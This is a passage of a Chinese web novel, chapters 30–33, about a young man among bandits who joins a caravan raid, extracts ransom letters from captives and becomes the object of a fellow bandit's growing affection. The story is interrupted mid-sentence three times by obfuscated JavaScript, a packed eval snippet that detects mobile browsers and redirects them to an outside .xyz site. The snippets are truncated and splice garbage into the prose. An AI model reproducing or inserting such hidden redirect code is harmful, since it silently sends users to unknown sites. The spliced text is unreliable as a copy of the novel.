许明意见秦河杵在原地挡住了大半煤油灯的光亮,皱了皱眉,看向秦河:“干什么?” 秦河:“……啊?” 旋即就跟踩了尾巴的猫似的,说:“我去找狗儿,晚上不回来了,你自个儿睡吧。” 直接风风火火转身就跑了出去,连外套也不带了。许明意微怔,秦河这些日子古古怪怪的,不过许明意并没有深究,他们其实也没有多深的交情,更不要说他如今寄住在秦河家中,问多了,难免惹得别人厌烦。 许明意收拾了一番便躺下了,也许是屋子里只有他一个人,炕又烧得暖烘烘的,许明意整个人都放松了下来。这些日子虽在响马窝,每日还要练功,许明意却觉得心里踏实平静。他躺着,望着古旧的房梁,本以为会很快入睡,脑子里却分外清醒,没有一点睡意。 他想到了秦河,和以前那些拿名贵熏香熏过的软衾不一样,盖在身上的被褥厚实,带着阳光晒过后的绵软,还透着秦河身上独有的味道。 秦河——许明意眼前浮现青年肌肉分明,结实精壮的胸膛,二人住在一个屋檐下,又同床共枕,难免碰着看着,平日里还不觉得,在这安静的独处的夜里,许明意沉寂已久的情欲慢慢苏醒了过来。 无怪古人说,饱暖思□□。 许明意心烦不已,想让自己尽快睡去,可躁动的情欲却在四肢百骸翻腾,诉说着不足为外人道的渴求。 这是秦河的床。 当天晚上,许明意睡得并不安稳,风月浮沉,许明意恍惚间梦见了闻鹤来,还有他身上的沉香混杂着登台沐浴过后的潮气,抓着他的手滚烫有力,缓慢暧昧地教他如何取悦自己。 翌日,许明意醒时就察觉了身下的不对,他面无表情地瞪着房梁看了半晌,用力扯被子一把盖住了自己。 31. 第 31 章 情欲于时下人而言,讳莫如深。不过提不得是于女人而言,男人谈及情欲便能冠冕堂皇地冠以风流之名,女人则不然,女人有情欲,寻求快活就是放浪□□。因着这具畸形的身体,许明意也曾对情欲视之如虎狼,后来经历种种,反倒寻常视之。 本就是寻常事,圣人说,“饮食男女,人之大欲存焉”,足见爱欲,情欲,和维系人生存的温饱没什么不同,只是许明意没想到他会在春梦中想起秦河——想闻鹤来不足为奇,闻鹤来是他情事一道的启蒙,他们之间别的不论,风月事上却是契合的。 思来想去,许明意只能归咎于他正当年轻,又并非不知事。这深山当中,秦河也算他离开四九城以来,所见的唯一一个出挑的男人了。知好色,则慕少艾,也不是什么了不得的事。他并非喜欢秦河,只是为色欲所蛊惑。 对于自己喜欢男人这件事,许明意已经不再作他想,懵懂时,他不曾遐想过姑娘,而今,他也不曾想过回归时人所认可的正道——他不喜欢姑娘,也不觉得有哪个姑娘会接纳他这样的丈夫。 许明意想得平静而又坦然,他没有想过放纵欲望,这平顶寨,不是个好地方。他而今势单力孤,即便秦河瞧着为人磊落,许明意也不想将这要命的把柄递到他手里。 说到底,还是心中仍有防备。 涂狗儿对秦河这么大晚上过来很是惊讶,那时他正和几个兄弟坐着玩牌,屋子里烧着炭火,热腾腾的。 “虎哥,你怎么来了?”涂狗儿趿着鞋子去给秦河开门。 屋子里的几个马匪都冲秦河打招呼。吹了一路的冷风,秦河脑子里也冷静下来,他想到自己落荒而逃,有点儿恼,还有些说不清的烦躁,可要这么回去,又怪别扭的,索性就当真来了涂狗儿的屋子。他和屋里的兄弟打了一个招呼,随口道:“还没睡呢?” 涂狗儿嘿嘿道:“玩两把。” “虎哥,你来吗?” 秦河打了个哈欠,道:“你们玩,我去你屋里睡。” “哦,”涂狗儿应了,又奇怪地“啊”了声,道,“你怎么突然来这睡了?” 秦河脑海中浮现许明意随意地坐在床边的模样,还有那身雪白的皮肉,他揉了揉鼻尖,说:“你这儿不方便?” “方便,这有什么不方便的,”涂狗儿说。 秦河:“那就成了,你们玩儿去吧。” 说完,摆摆手就轻车熟路地往涂狗儿里屋去了,涂狗儿摸不着头脑,一旁的兄弟催促两句也就不想了,凑过去欢欢快快地打起牌。秦河走到门边时突然顿住脚,偏头看了那坐在一起打牌的马匪兄弟,当中有人蹬了鞋子,撸起裤腿盘在炕上。 他往那扫了一眼,就见腿是腿,脚是脚,多看一眼都觉得眼睛受害,自个儿有病,愣是没半点旖旎心思。 秦河松口气又有些惆怅,松口气的是他不是真喜欢男人,惆怅的是许明意怎么就和寨子里的其他男人不一样呢? 还未等秦河想明白,又过几日,却有了另一桩事要办,却是消停了一些时日的平顶寨要再度下山了。响马所谓的下山便是劫掠,他们在山下有眼线,若探出合适的“肥羊”,就将消息传回山上。 此一回,领头的是二当家魏振海,四当家廖兴,秦河、涂狗儿和许明意也在名目里。 虽说成为响马,打家劫舍就是许明意不可避免的事,可当这一天真的要来临时,许明意还是愣了一下,当日秦河炖的香喷喷的兔子肉都有些食不知味了。 对钱老板动手,加入平顶寨是形势所迫,许明意手上也沾过两条人命,要劫掠普通百姓却又是另一回事。许明意到底读过圣贤书,也并非嗜杀残忍之辈,自然做不到无动于衷。 秦河也是这么走过来的,他看出了许明意的迟疑,筷子在碗边顿了顿,没有说什么。 很快就到了行动的前两天,寨子里整合了队伍,也发了武器,大都是刀,也有配枪的。秦河素来不好用热兵器,他带的是他挂在墙上的那把长刀。许明意见秦河练过,是把古朴的□□,约莫是家传之物,柄三尺长,刀身足有七尺,刀背厚实,很有些重量,非膂力惊人者不能挥动。 许明意手中也多了一把刀,兴许是不知从哪里抢来的,用过许久了,有的地方已经豁了口,可也是一把利器。 许明意沉默地看着那锋利的刀刃,捏紧了刀柄,没有说话。 独山龙鼓动过士气,又同一干响马饮过一碗酒,魏振海便带着响马们下山了。秦河在平顶寨中地位不低,因着他,许明意和涂狗儿也都在前头。期间魏振海来和秦河说过话,他显然还记得许明意,伸手拍了拍许明意的肩膀,笑吟吟地说了句以后都是自家兄弟,不会亏待他便走了。 他们这一回盯上的依旧是商队。 许明意冷眼旁观,魏振海此人心机颇深,到底是有些本事,当初他们折在平顶寨手里不冤。临到冲杀时,秦河还是开了口,对许明意说:“一会儿跟着我。” 许明意微怔,看着秦河,秦河却没有看他,他看着远处将要过来的商队,举着羊皮水囊喝了一大口水,鼻尖似乎嗅到了隐约的血腥气。 平顶寨中的响马冲杀并不是一团散沙,他们是训练过的,有一支督战的小队在后头拿枪盯着,防的就是有人不战而逃。 苍穹乌云缓缓移动,遮住了艳阳,也笼下了淡淡的阴霾,一阵清脆的铃铛声随之而响起,却是魏振海已经挥手下了令,骑马的响马们呼喝着冲下了山坡。 许明意也被裹挟在其中。 真正举刀对上商队的时候,许明意发觉自己还是太天真了。这是真正的劫掠,屠戮,响马是马匪,他们的马蹄和刀枪,对准的是寻常商旅,百姓。 许明意虽然杀过人,可那一刹那血腥和慌乱的惨叫声一气冲入脑海时,许明意还是忍不住发起抖来,脸色也变得发白。说到底,许明意并没有真的做好成为响马的准备,在他心里,他也从来没有想过认可自己是一个响马,即便他留在了平顶寨。 这一刻,许明意不由得想,他入平顶寨,真的对吗? 人总是如此,没得选择时只能硬着头皮一步一步往下走,可稍有喘息的余地,理智,人性,便都回归了脑海。 刹那间,许明意脑子里竟意外地清明,他也许不知道自己要做什么,可他不想成为一个响马,一个将屠刀对着无辜百姓的响马。 他不想下杀手,商队里的扈从和镖师却惊骇至极,自是要以命相搏。许明意经秦河指点了这么些日子,倒也不再如以往那样全凭一股莽劲儿,可他心中挂碍,又无半点锐气,难免左支右绌。眼见一刀劈来,许明意心脏狠狠跳了跳,斜刺里探出一柄长刀抵住雪亮的刀身,是秦河,他沉着脸盯着许明意,对上他锐利的目光,不知怎的,许明意莫名的有点心虚。 秦河一刀砍伤了那人,对许明意说:“有几个人跑了,追。” 许明意应了声,和秦河一起去追被人护着要逃的几人去了。那几人自是跑不了的,秦河马术好,转眼就撵了上去,抓住了商队中的领头人。 许明意也擒住了两个扈从,都拿麻绳绑了。 突然,秦河对许明意说:“许明意。” 许明意看向他。 秦河说:“你做不了响马,你走吧。” 许明意一呆,秦河脸上没什么表情,他嬉皮笑脸惯了,许明意乍见他那张棱角分明的脸露出如此神情,竟有些不知所措。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887535|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ……秦河是试探他? 许明意想,可下一瞬,却见秦河将俘虏都绑在了一起,屈指吹了声口哨,马颠颠的过来,就要翻身上马背。 许明意:“秦河。” 秦河看着许明意,许明意直勾勾地盯着他,秦河道:“你心不狠。” “我让几个兄弟拦住了督战的小队,你走吧。” 许明意抿了抿嘴唇,说:“你真的放我走?” 秦河扯了扯嘴角,深深地看着许明意那张脸。其实接到下山的命令时,秦河头一个想的就是许明意。他知道许明意和他们不一样,许明意留下是不得已,虽说他们也是不得已,可还是不一样——虽然秦河说不清楚有什么不一样,可他敏锐地察觉到,许明意和他们并不是一路人。 事实证明,果然如此。 秦河心里并不愿意放许明意走,可许明意这样,迟早会死,不是死在他们要劫掠的人手里,就是死在自己人手里。人死了,就什么都没有了,秦河不想许明意死。 秦河翻身上了马,手中拖拽着几个绑得结实的俘虏,他硬起心肠,不再看许明意,说:“跑远点儿,机灵些,要是再被抓,就没有这样的好机会了。” 许明意道:“我走了,你怎么办?” 秦河说:“死不了。” 说罢,给许明意留下了一匹马,摆摆手,拿刀拍马背就走了。没成想,身后却有马蹄声追来,秦河正心不在焉地盯着马头,冷不丁的听着马蹄声,一回头就见许明意骑马追了过来。 秦河愣了下,说:“你怎么不走?” 走自然是想走的,那一刹那,许明意很是心动,当即就想骑上马便走。 可刚抓住缰绳的片刻,许明意眼前却掠过魏振海那张脸,又想起秦河和涂狗儿,权衡片刻,到底是舍弃了走的念头。虽和魏振海只打过几个照面,可他记得魏振海拍他肩膀时的那个眼神,他养伤时,魏振海也曾派人来送过伤药。 魏振海对他有拉拢之意。 许明意不是不能赌一把,赌赢了,他便能脱离平顶寨,可输了,不但他会被拿来杀鸡儆猴落不得好下场,说不得要连累秦河和涂狗儿。他这一生,对他予以善意的,屈指可数。 许明意没说话。 秦河却有点儿急了,拧着眉,“你这回不走,就真走不了了,你干得了响马吗?” 许明意随口:“嗯。” 秦河:“你嗯什么?!” 许明意:“哦。” 秦河:“……”他索性勒住马,盯着许明意,思索片刻,说:“你是担心连累我和狗儿?” 许明意瞧着他,秦河说:“大当家不至于要我们的命。” 许明意说:“我不喜欢欠着别人。” 说完,夹了夹马腹就往前走,秦河骂了声,心里高兴又不高兴,他说:“你说你是不是有病啊?你又狠不了心杀人,你连这都干不了,你留下干什么,找死吗?” “让你走你还不走,你以为以后还有这样的好机会吗……” 许明意被他念得有点心烦,若不是秦河多管闲事要放他走,是他自己寻机会跑,保准儿眼都不带眨,左右生死是自己的事,与人无关。他面无表情地看着秦河,说:“我还得谢你?” 秦河哑然。 半晌,他突然说:“你不会是舍不得我……我们?” 许明意:“是啊,我舍不得。” 秦河:“……” 他就是随口一说,秦河肤色深,耳朵还是微微泛起了红,讷讷的,不说话了。 许明意无暇顾及秦河,思索了许久,长长地呼出一口气,心想,罢了,车到山前必有路,活人总不能将路走死。 32. 第 32 章 许明意果断,既然做了决定,就不再做他想。他和秦河带着俘虏刚转出林子,就对上几人,当中一个鹰钩鼻的响马叫张易,正是魏振海的心腹。 秦河和许明意俱是心头一凛,魏振海果然没有信任许明意。今日许明意如果离开,就会被视为背叛平顶寨,一切只怕无法轻易收场。几人目光对视了片刻,张意就迎了上来,笑盈盈和秦河打了个招呼,便看向许明意,说:“二当家原本还担心许兄弟刚入寨子,又是头一回,让我多照应着许兄弟,”他说,“不过我瞧许兄弟是用不着了,哈哈哈。” 许明意不动声色,面上却露笑,说:“多谢二当家关怀。” 张易说:“都是自家兄弟,说什么谢,我就先回去了,估摸着也快完事了。”说罢,转身时看了秦河一眼,便带着那几人走了。 许明意和秦河带着身后的俘虏落在后头,他心想,魏振海为什么这么盯着他?仅仅是为了规矩?不,不止如此,魏振海好歹是平顶寨的二当家。许明意余光瞧见身旁的秦河,脑中隐隐浮现一个念头,难道……是因为秦河?他和秦河走得近,一旦秦河放他走,便是违了寨中规矩。 秦河看着许明意沉思的面容,问道:“在想什么?” 许明意顿了顿,摇头道:“没什么,”过了片刻,他又问秦河,“我入寨子之前,听说三当家没了?” 秦河点头道:“是,三当家和师爷都被贺豹子的人打死了,贺豹子盘踞在响龙岗,离临阳近,向来和咱们寨子不对付。”说不对付还是轻了,卧榻之旁岂容他人酣睡,两窝悍匪结的是生死之仇,若非实力相当,只怕早就恨不得吞下对方。许明意若有所思,三当家死了,此一番下山的是魏振海和四当家廖兴,依着他这些日子在寨中所见,平顶寨约莫七八百人,倒也不见得心齐如坚实。 至少,这个笑面虎似的魏振海,便不是个甘居人下的。秦河重义,当初他沦落时是独山龙寇达收留了他,他是寇达的臂膀。 千般思绪在许明意脑中流转,他势单力孤,不能不小心。在这匪窝当中,许明意不想杀人,却也不想为人鱼肉,无端横死。 秦河见许明意沉默不言,只当他还在担心,轻声说:“明意,你别怕。” 许明意看了他一眼,说:“我怕什么?” “走吧,看着人了。” 这一番下山顺利至极,收获颇丰。许明意硬下心肠,不看俘虏中一张张惊惶的面容,乱世就是如此,强凌弱,大鱼吃小鱼,手无寸铁的百姓最凄惶。 上了山,独山龙寇达自是欢喜,而后将这些“肥羊”都交给了许明意,让他来索取赎金。 许明意本想推拒,话到嘴边,就应了下来。这些人被掳上山已是事实,由他动手,至少个中分寸他能把控。他也知道,他是新加入的平顶寨,寨子里不知多少双眼睛都盯着他。 这件事办漂亮了,他才算真正在寨中站稳脚跟。 这一点,秦河也明白,他在寨中已有三年,身边也聚了一伙如涂狗儿一般的兄弟,他对明意说:“你写信,别的交给他们。” 许明意看着那一张张响马面孔,没有强硬拒绝,笑道:“有各位兄弟在一旁掠阵,我这心里踏实了不少。” “不过大当家把这事儿交给了我,各位哥哥且先瞧瞧弟弟的手段,”许明意说,“真碰上了硬骨头,再请各位哥哥出手。” 当中一个叫面有一道疤的响马叫姚善,搭着许明意的肩膀,道:“我可听说许兄弟那个,叫什么来着,加官进爵,就几张纸,刀都没动就把那土财主吓得屁滚尿流,吐了一万大洋。” “那是这个,”姚善竖了大拇指。 许明意微微一笑,很是斯文和气。 秦河暗中对许明意道:“你行不行?别逞强,这种事儿不是你读过几本书就能行的。” 在他心里,这也不是许明意该做的事,他总觉得,如许明意这样的,就跟城里那些娇贵少爷似的,喝喝茶,看看书才是他该做的。 许明意说:“这一次你帮我干,下一次呢?” 秦河一句“下一次我也帮你”还没说出口,许明意已经摇摇头,平淡道:“秦河,你帮不了我一辈子。” 秦河哑然。 他想说,他能帮许明意一辈子,可这个念头实在莫名,没道理,又碍于面皮,还是没有说出口。 依旧是那几间小黑屋,透着腐臭的血腥气。许明意由关在里头的人,成了站在外头的匪,他对上那些或畏惧或仇视的眼神,脸上没什么表情,心中却浮现几丝愧疚不忍,过了许久,才将那丝不当有的情绪按了下去。 好事的寨中响马都在看着许明意,许明意除却头一日让人将门窗俱都封了,一连几日都没动静,让他们心中生出不屑,到底是读书人。养着这些肥羊虽不费什么粮食,可有等不及的,去催促许明意,许明意岿然不动,只说大当家将这事儿交给了他,一切便由他做主,那些人只得作罢,都等着看许明意的热闹。 没成想,不过两日,就有人熬不住了。 小黑屋被封住了,黑漆漆的,不知白昼与黑夜,只能隐隐约约听见外头传来的声音,粮食和水都给的少,吊着他们的命也似。封闭与黑暗如附骨之疽,加之外头巡视的响马脚步声如同一记一记门锤,砸在他们紧绷的神经上,碰着心智不坚的,自是无法忍受。 许明意的手段和此前的全然不同。此前平顶寨中逼肉票交赎金,都是用的酷烈手段,如削耳断指,鞭笞火烙,滚石钉坐老虎凳,还有更多残忍至极的,无不见血,走过几遭下来,得以活着下山的肉票无不落得身残。 许明意用的是软刀子,杀人不见血。他有耐心,又以攻心为上,熬鹰似的,熬得这些肉票心惊胆战,痛哭流涕。许明意知道自己做的和那些响马做的,半斤八两,都是作恶,可他没得选。 许明意想,他没得选。 无论如何,许明意最终拿下了一封封勒索的书信,交给独山龙时,他舒了口气。 没想到,那一封封书信送下山时,还是附上了一根根血淋淋的手指。许明意看了几眼,脸色就白了,奔到无人处,吐得嘴里泛起苦汁,眼角沁泪。 许明意吐得脸色发青,蓦地,一个水囊出现在眼前,却是秦河,秦河看着他,说:“喝点吧,刚灌的温水。” 许明意拿过水囊喝了大口漱去嘴里的苦意,又灌了许多,整个人才感觉舒服了一些,“谢了。” 秦河心情复杂,他知道许明意不会习惯寨子里的手段的。许明意口中说要兵不血刃,实则宁可多花上几日,费上许多功夫去熬那些肉票,也不想用寨中那些刑具,秦河看得清楚,知道许明意是想尽可能的保全那些肉票。 分明已经是响马匪盗,却还存着不当有的善心,笑话也似,被绑上山的肉票看他是惺惺作态,寨子里的人也会当这是个笑话,嘲许明意妇人之仁。时间一长,还容易教人抓着小辫子,当许明意和寨子不齐心招来无妄之灾,实在不聪明。 冬日里树上的叶子都掉光了,枝干秃,山峦起伏间寒意笼罩,一片萧瑟。二人坐在一块石头上,将灰败的山色尽收眼底,秦河说:“我第一个杀的人,是我们镇上的地主。” “我爹以前是个镖头,学了一身武艺,后来伤了腿走不得镖,就回了老家山林里做个猎户,攒了些钱,”秦河语气很平静,说,“我爹武功高,箭射得也好,靠着两柄猎枪养活了我们父子,还攒了些钱。我爹说打猎不是长久的营生,其实他就是觉着打猎太危险,怕我碰着野兽,毕竟他年纪大了,又伤了腿,不能再陪我进山看着我了。” “我爹就拿那些年攒的钱和当初镖局里赔的钱,买了二十亩地,有地有粮,怎么着都能活下去。” 秦河说:“那个地主是我们镇上最大的地主,村里大半良田都在他手里,他还盯上了我家的地。后来趁着我进山,那个畜生害死了我爹,还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887536|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出山口设伏,想斩草除根。” 许明意虽知道秦河落草为寇的原因,却不知各种细节,听他说来,也愣了一下。秦河盘起两条腿,坐定了,他扯了下嘴角,说:“是和我一起大的一个兄弟冒死告诉我的,他让我跑,我怎么能跑?” “杀父之仇,不共戴天!” 秦河说:“我本想报官,可我看见那个地主和狗县令在花楼里喝酒的时候我就知道报官没用,官官相护而已。我藏了半个月,在所有人以为这事儿就这么过去的时候,我摸黑进了他的家,塞住他的嘴,一刀一刀把他捅死了。他死之前一直在求我,还把藏着的金条都拿了出来,求我饶他一命,怎么可能呢?” “我杀了他,又去杀了狗县令,”秦河抬起眼睛,道,“之后我一路逃,从关外逃入关中,被人杀,也杀人。明意,这个世道不讲道理的,心善的人没活路,作恶的人反而锦衣玉食,要钱有钱,要权有权。” “跟着大当家头一回下山的时候我也不落忍,”秦河说,“可不忍也没用,我只想讨条活路,我不提刀,就有人提刀来要我的命,万事不由人。你无伤他意,他有害你心,讲不清的。不管你之前是干什么的,是什么身份,你留在了山上,就是匪,就是响马,你再心善,在他们眼里也是该千刀万剐,哪天你被抓了,死了,他们也只会吐上一口唾沫,说上一句活该。” “没的回头了 。” 许明意深深地吸了口气,说:“我明白,”他舌尖发苦,目光落在那光秃秃的山野间,重复道,“我明白。” 在津门和四九城时,许明意日子虽不如意,却也身在豪门绮户,而后一路奔逃求命。乱世如熔炉,人命卑如蝼蚁,转瞬就能被碾灭,想求活路——何其艰难?尤其是寻常人的活路。纵然不提刀兵,躬耕于田野间且不提天灾,尚有地主豪绅,层层盘剥重税压得人喘不过气。 这是乱世,天灾人祸接踵而至,每一道都能剐去普通人的一层皮肉。 许明意说:“你放心,我没后悔,我也不是想做圣人。” “我只是——”他只是想活,却也不想断别人的生路,许明意顿了下,摇摇头,说,“你只当我是假惺惺,无用的自我安慰吧。” 秦河哑然。 半晌,他起了身,说:“山风大,回去吧。” 许明意突然叫住了他:“秦河。” 秦河:“嗯?” 许明意抬起头,白皙的脸颊藏在剪得狗啃似的头发里,那双淡色的眼睛如剔透的宝石,他问秦河:“你真的想做一辈子响马吗?” 秦河一怔,玩笑道:“不想做响马?你也来不及了,老子让你走,你不走……” 许明意:“如果呢?如果有机会脱身——” 秦河目光落在许明意面上,四目相对,过了几息,秦河说:“不做响马能做什么?回去种地吗?” “明意,我和你不一样,”秦河说,“我是个通缉犯,除了种地,也只会打猎,可种地打猎都只能让我像狗一样狼狈逃窜,我不想再做狗了。” 许明意不由得茫然,这世上,怎么样才能像人一样活下去? 冷不丁的,一只宽厚的巴掌落在他头上,胡乱撸了几下,道:“行了,别琢磨了,走吧老子要冻死了。” “等你想明白了,就告诉我,”秦河说,“虎哥再想法子让你走。” 许明意心中微动,可被他呼噜的头发更乱,一巴掌拍开他的手腕,说:“我不是涂狗儿。” 秦河嘿然笑了声,“晚上想吃什么?” “一会儿你去拔几根萝卜,晚上我炖个萝卜肉汤贴饼子吧。” 许明意咬牙切齿:“你说便说,捏我耳朵作甚!” “你耳朵凉,我给你暖暖,不知好歹!” 许明意:“滚蛋。” 秦河:“不滚,我滚了你晚上吃西北风吗?娇少爷!” 二人推搡间斗了一路的嘴。 33. 第 33 章 无论如何,许明意落草为寇的第一回劫掠收获颇丰,这是他第一次真正在平顶寨中露脸。山上寒意深重,参与庆功宴时,许明意穿得臃肿,又有意遮挡了他那张脸。并非是他自作多情,许明意知道自己这副皮囊不错,对一个男人来说,过于秀气,否则也不会被送扮作红妆嫁进张家。 这儿到底是响马寨,虽有寨规,许明意却不敢赌一群杀人放火的响马能多讲规矩,万一当中有喜欢男人的,平白招祸。 自许明意逃出四九城之后,终于迎来了弥足珍贵的短暂平静。他每日早早都起来跟着秦河练武强身,偶尔跟着他打猎,射击习弓。弓是长弓,这是秦河的老本行。射击的枪是步枪,秦河以前缴获来的,就归了他。秦河打小就摸猎枪,新式步枪到了他手上也玩得利落。 枪这样的东西,在寨子里也是稀罕玩意儿。平顶寨整个寨子里,枪也不过百来支,大都是抢来的。 这样的乱世,枪火器械,就是立身之本。 许明意头一回摸的时候,手足无措,怎么拿都不知道,看得秦河发笑。他握住许明意的胳膊教他如何抬枪,如何瞄准,毫不藏私。秦河重义,颇有些侠气,对其他寨中交好的兄弟都不吝啬,更不要说对许明意。他还没摸清自己那点乱七八糟的心思——亦或者说,是不敢深究。许明意能为了不连累他留在寨子里,秦河不是不动容的,他得教许明意怎么活下去。 秦河说:“等有机会老子给你弄把手枪防身。” 二人挨得近,靶子是秦河扎的稻草人,就立在远处。秦河是典型的北人身量,个头高,肩膀宽阔,说话时微微低着头,呼吸拂在许明意耳边,许明意耳朵敏感,瑟缩了一下,蹙着眉:“别离我这么近。” 秦河把住他的肩膀,说:“就你事儿多——手不能抖。” “开枪。” 许明意下意识地扣下扳机,只听得砰的一声,子弹已经洞穿了稻草人的胸膛,秦河瞧了眼,说:“还不错。” 许明意聪明,又极有天赋,饶是秦河也挑不出错。秦河无意间低下头,就看见许明意白皙的耳朵,日头正好,阳光映射之下透着股子嫩红的肉感,他手痒,忍不住捏了两下,陡然发现了什么,说:“这是什么?” “耳洞?” 许明意不惯他越来越自如的亲近,拿枪往后顶得秦河退开两步,说:“你看错了。” 秦河嘶着抽气,揉揉自己的胸膛,道:“不可能,那就是耳洞,”他新奇地瞧着许明意,要不是他知道许明意是个货真价实的男人,几乎要以为他是个姑娘了。秦河凑上去,说:“再给我瞅瞅。” 许明意:“瞅你大爷。” 秦河嘿然道:“我大爷有什么可瞅的,瞅他不如瞅我。” 许明意抬起眼睛,上下打量着秦河,冷笑道:“一个莽夫,有什么看头。” 秦河气笑了,说:“你懂什么,哥哥这是大丈夫气概,不喜欢我这样的,难道你还喜欢那些娘们儿唧唧的怂蛋?” 许明意面无表情道:“你说的都是男人,我一个男人为什么要喜欢男人?” 秦河哑然。 许明意盯着他,微微露出一个笑,轻飘飘“哦”了声,秦河顿时踩了尾巴似的,叫道:“哦什么!” 许明意慢吞吞道:“放心,我不会歧视你的。” 秦河:“……?” “怎么就歧视我了?”秦河心虚又不甘心。 许明意说:“喜欢男人不是什么不光彩的事——”他花还没说完,秦河炸了毛,道:“老子怎么会喜欢男人?老子喜欢胸大屁股翘的女人,男人有什么好的,没胸没屁股,又不能给老子生儿子!” 许明意点点头。 秦河:“我真不喜欢男人。” 许明意:“那你急什么?” 秦河:“我没急,谁急了?” 许明意抬起枪对着秦河,口中吐出一个字,“你。” 秦河顿时如同被指住要害,他看着许明意那张脸,强辩的话莫名的再也说不出口,心底浮现几分失落,他想,许明意不喜欢男人。 许明意不会喜欢他。 许明意收回枪,摩挲着手中步枪上磨损的痕迹,他也想要一把手枪,隐蔽,能防身。可要枪,只有两个法子,要么买,要么抢。买——一般人来也买不来洋人造的手枪。许明意突然想起闻鹤来,如果是在四九城,闻鹤来或许能弄来。 念头乍生,就被许明意扼住了。他和闻鹤来已经是陌路了,和闻鹤来偷情的是张家大少奶奶,张家大少奶奶,兴许已经“死”了。 许明意见秦河还杵在一旁,不知在想些什么,他叫道:“秦河?” 秦河回过神:“啊?” 许明意摇摇头:“发什么呆?” 秦河复杂地看着他,叹了口气,说:“没什么,再练一会儿吧。” 过了一会儿,秦河又忍不住问许明意:“明意,你为啥打耳洞啊?谁给你打的?” 许明意抬手摸了摸自己的耳朵,耳洞——自然是当初要嫁给张靖遥时,大太太身边的嬷嬷扎的,诚如没有姑娘不穿肚兜,也没有姑娘不打耳洞。 戏要做全套,她们将他一点点削成一个女人的模样。 许明意心中笼上一层寒意,张家,许家,其实相较于张家,许明意更恨许家,即便许家生养了他。许家生养了他,却只因着他多生了一处,将他视为天残,畸形,不祥之物,奚落鄙弃,最终更是将他卖给了张家。 许明意目光落在远处的稻草人身上,砰的一枪开出,射穿了稻草人的脑袋,他转过头对秦河说:“听过梁祝的戏文吗?” 秦河一愣:“什么?” 许明意淡淡道:“耳环痕上有原因,村里酬神多庙会,年年由我扮观音。梁兄呀,做文章要专心,你前程不想想钗裙。”他看着秦河,嘴角翘了一下,伸手指了指自己的耳朵,道:“秦兄你啊,前程不想,想钗裙。” 说罢,转过身就走了。秦河望着许明意那个戏谑的笑容,一股子热意直冲上脸颊,心也荡了起来,他下意识地跟上许明意,脚下也似踩云端,说:“谁……谁想姑娘了!” “我没想姑娘!” 许明意:“你没想姑娘你一个劲儿的盯着我耳朵?” 秦河愈发心虚,还有点儿说不清道不明的躁,含含糊糊地说:“明意,你真在庙会上扮观音啊?” 许明意不搭理他。 秦河脑海中却浮现庙会喧嚣里,许明意一身素衣,薄施粉黛扮红妆,独立莲座,垂眼观世人的平淡模样,脚步顿住,心脏如擂鼓般砰砰砰跳动起来,虔诚和爱欲在一刹那间似岩浆迸发而出,冲击得秦河神魂颠倒,飘飘然不知身在何处,当下竟有顶礼虔心一拜的冲动。 秦河想,他完蛋了。 老秦家真的要绝后了! 都到这个份上,秦河还有什么不明白的?他只是没开情窍,却不是个傻子——他这是看上许明意了。 要命。 他看上了一个男人。 秦河擦着他爹的灵牌发愁,说:“爹啊,你说是不是哪儿不对?我怎么就看上许明意了?他可是一个男人啊,货真价实的男人。” 灵牌不会说话。 秦河纳闷儿道:“月老喝大了?” 无人回他。秦河擦着擦着停了下来,自言自语道:“许明意一点儿也不温柔,不会做饭,活儿是一点都不会干,也就,也就……长得还不错吧。”岂止是还不错,秦河就没见过比许明意长得好的,名贵剔透的古董瓷盏也似,秦河想起许明意那张脸,嘿然乐了一下,满脑子遐想,腰细腿长,皮肤白,比精细白面揉出来的都要细腻可人。 秦河说:“这个世道,刺点儿其实挺好的,太没脾气的羊羔子早被人吃干净了。” “虽然不会干活,可咱家也没什么活儿,”秦河说,“爹,你说是吧,不会做饭就不会做饭吧,就他那手火烧灶房,做了也不敢吃。” “我会做饭就行了,”秦河想着,又觉着许明意除了是个男人,做他媳妇真没什么不好,长得好,又聪明,学枪学武都一点就通,以后真碰上事儿,也不会拖累他。 秦河拍拍秦爹的灵牌,道:“爹,这年头有个媳妇就不错了,男媳妇儿也挺好的。” 秦河一番自说自话,全忘了自己当初想寻个贤惠漂亮的媳妇儿,再生两个胖崽子,过老婆孩子热炕头的伟大梦想。 秦河认清了自己的心意,可瞧见许明意,满腔的话就都忘了。他都将自己说服了,却忘了二人之间最紧要的是,许明意未必喜欢男人,便是喜欢男人,这个男人会是他吗? 秦河性情利落爽朗,这辈子都没这么纠结过,只觉脑子肠子都打结了,榨汁一般压出苦似甜的味道,混在血液里流遍四肢百骸。 风月事晦暗不明,却无碍日子流水一般过。山上一天冷过一天,寨中的响马也懒散地窝起了冬,降低了下山劫掠的频率。秦河在寨中人缘好,诸如涂狗儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦河想起正事儿,道:“对了,正义想让你帮他写封信寄回老家,行不行?” 许明意道:“行啊。” 说罢,将书页一角叠起,放在一旁,方趿上鞋子跟着秦河朝外走去。 秦河说:“那书有什么好看的,往那儿一坐屁股都不带挪。” 许明意道:“挺好看的。” 